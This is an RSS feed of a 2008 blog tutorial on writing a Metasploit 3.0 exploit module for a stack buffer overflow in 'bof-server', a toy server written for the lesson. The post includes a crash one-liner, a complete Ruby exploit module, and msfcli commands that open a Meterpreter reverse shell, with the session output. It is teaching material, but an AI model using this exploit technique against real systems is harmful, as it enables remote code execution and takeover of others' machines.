<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>redstack &#187; How To</title>
	<atom:link href="http://redstack.net/blog/category/how-to/feed/" rel="self" type="application/rss+xml" />
	<link>http://redstack.net/blog</link>
	<description>Pirates are way cooler than Ninjas, but not as much as Samuraïs</description>
	<lastBuildDate>Sun, 11 Apr 2010 14:49:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Writing exploits for Metasploit 3.0</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/</link>
		<comments>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 19:23:53 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[How To]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html</guid>
		<description><![CDATA[This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server]]></description>
			<content:encoded><![CDATA[<p>This article is about writing exploit using the <a href="http://www.metasploit.com">Metasploit Framework</a>, for very secure software: bof-server <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  <!--. This article aims to be a starting point for people wanting to write Metasploit exploits, but doesn't know where to start from.--><br />
Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it&#8217;s name, we will exploit a stack overflow bug. You can find bof-server here:<br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.c' title='bof-server source'>bof-server source code</a><br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe' title='bof-server binary'>bof-server binary for Windows</a></p>
<p><em>Before to start I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.</em></p>
<p><strong>Bof-server</strong><br />
First of all, lets see how bof-server works. To start it on port 4242 use the command below:<span id="more-10"></span></p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; bof-server.exe 4242</pre></div></div>

<p>The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; telnet localhost 4242
&gt; version
bof-server v0.01
&gt; quit</pre></div></div>

<p><strong>Bof-server&#8217;s bug</strong><br />
Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function. <em>If you need more informations regarding stack based overflows you can read this famous article from Aleph1 <a href="http://www.phrack.org/issues.html?issue=49&#038;id=14#article">Smashing the stack for fun and profit</a></em>.<br />
By passing long lines to bof-server, we will crash it :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; perl -e &quot;print 'A'x1024&quot; | nc localhost 4242
&gt; telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed</pre></div></div>

<p><strong>Exploitation using Metasploit</strong><br />
Now comes the interesting things &#8230; <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
To make a metasploit exploit module, the easiest way to start is to create <em>myexploit.rb</em> in the <em>modules/exploits/os/type/</em> metasploit subdirectory.<br />
In our case, we will create <em>modules/exploits/windows/dummy/bof-server.rb</em> containing this code:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories</span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span> 
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations</span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)</span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1024</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.</span>
                                                      <span style="color:#008000; font-style:italic;"># We don't know yet</span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not</span>
                                                         <span style="color:#008000; font-style:italic;"># contains. We don't know yet</span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> 
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>, 
                             <span style="color:#006600; font-weight:bold;">&#123;</span> 
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>, 
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0xaaaaaaaa <span style="color:#008000; font-style:italic;"># Return address. We don't know yet</span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable</span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>Now it&#8217;s time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.<br />
Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: <em>pattern_create.rb</em> and <em>pattern_offset.rb</em>.<br />
We will not use <em>pattern_create.rb</em>, but the <em>pattern_create()</em> function in your exploit script instead.<br />
Here is your new <em>exploit</em> function of our script:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;">    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target                                                                                                                                                                                                                                             </span>
      connect
      buf = pattern_create<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">1024</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      sock.<span style="color:#9900CC;">get</span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using <em>msf_cli</em>.</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E</pre></div></div>

<p>The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; pattern_offset.rb 72413372
520</pre></div></div>

<p>As you can see <em>pattern_offest.rb</em> returned <em>520</em>, so 520 bytes + 4 are necessary to make the target crash.<br />
Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).<br />
We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.<br />
BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.<br />
Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0&#215;20 characters.</p>
<p>Using all this informations we are now able to put them in our exploit script.<br />
Our exploit script looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories                                                                                                                                                                                                                                              </span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations                                                                                                                                                                                                                                                    </span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)                                                                                                                                                                                                                           </span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">500</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.                                                                                                                                                                                                             </span>
                                             <span style="color:#008000; font-style:italic;"># We found that we needed 520 bytes to make the                                                                                                                                                                                           </span>
                                             <span style="color:#008000; font-style:italic;"># bof-server crash, but we will only use 500, as                                                                                                                                                                                          </span>
                                             <span style="color:#008000; font-style:italic;"># the end of this space can be modified by the target                                                                                                                                                                                      </span>
                                             <span style="color:#008000; font-style:italic;"># before returning.                                                                                                                                                                                                                       </span>
                          <span style="color:#996600;">'StackAdjustment'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3500</span>, <span style="color:#008000; font-style:italic;"># Modify stack pointer at shellcode start                                                                                                                                                                                        </span>
                                                      <span style="color:#008000; font-style:italic;"># so it can use the stack without writing                                                                                                                                                                                        </span>
                                                      <span style="color:#008000; font-style:italic;"># on itself.                                                                                                                                                                                                                     </span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00<span style="color:#000099;">\x</span>20<span style="color:#000099;">\x</span>0D<span style="color:#000099;">\x</span>0A&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not                                                                                                                                                                                           </span>
                                                            <span style="color:#008000; font-style:italic;"># contains.                                                                                                                                                                                                                </span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>,
                             <span style="color:#006600; font-weight:bold;">&#123;</span>
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>,
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0x22fb65 <span style="color:#008000; font-style:italic;"># Return address.                                                                                                                                                                                                                     </span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable                                                                                                                                                                                                                               </span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target                                                                                                                                                                                                                                      </span>
      connect
      buf = <span style="color:#996600;">&quot;version<span style="color:#000099;">\n</span>&quot;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      res = sock.<span style="color:#9900CC;">get</span>
      disconnect
      <span style="color:#9966CC; font-weight:bold;">if</span> res =~ <span style="color:#006600; font-weight:bold;">/</span>bof<span style="color:#006600; font-weight:bold;">-</span>server v0.01<span style="color:#006600; font-weight:bold;">/</span>
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Vulnerable</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Safe</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target                                                                                                                                                                                                                                              </span>
      connect
      buf = payload.<span style="color:#9900CC;">encoded</span> <span style="color:#008000; font-style:italic;"># Size of the payload is defined by Payload.Space in exploit infos.                                                                                                                                                                                       </span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> make_nops<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">20</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Some more bytes, as we defined the payload to be 500 bytes long                                                                                                                                                                                           </span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>target.<span style="color:#9900CC;">ret</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">pack</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'V'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Return address                                                                                                                                                                                                                                   </span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># send data                                                                                                                                                                                                                                                        </span>
      sock.<span style="color:#9900CC;">get</span>
      handler <span style="color:#008000; font-style:italic;"># pass the connection to the payload handler                                                                                                                                                                                                                             </span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>The only remaing thing is to test our exploit and to have fun :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -&gt; 172.20.0.2:1109)
&nbsp;
meterpreter &gt; ls
&nbsp;
Listing: Z:\work\test\exploit\metasploit
========================================
&nbsp;
Mode              Size   Type  Last modified                   Name            
----              ----   ----  -------------                   ----            
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .               
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..              
100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit      
100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server      
100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c    
100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~   
100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe  
100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o    
&nbsp;
meterpreter &gt;</pre></div></div>

<p>I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !</p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
	</channel>
</rss>
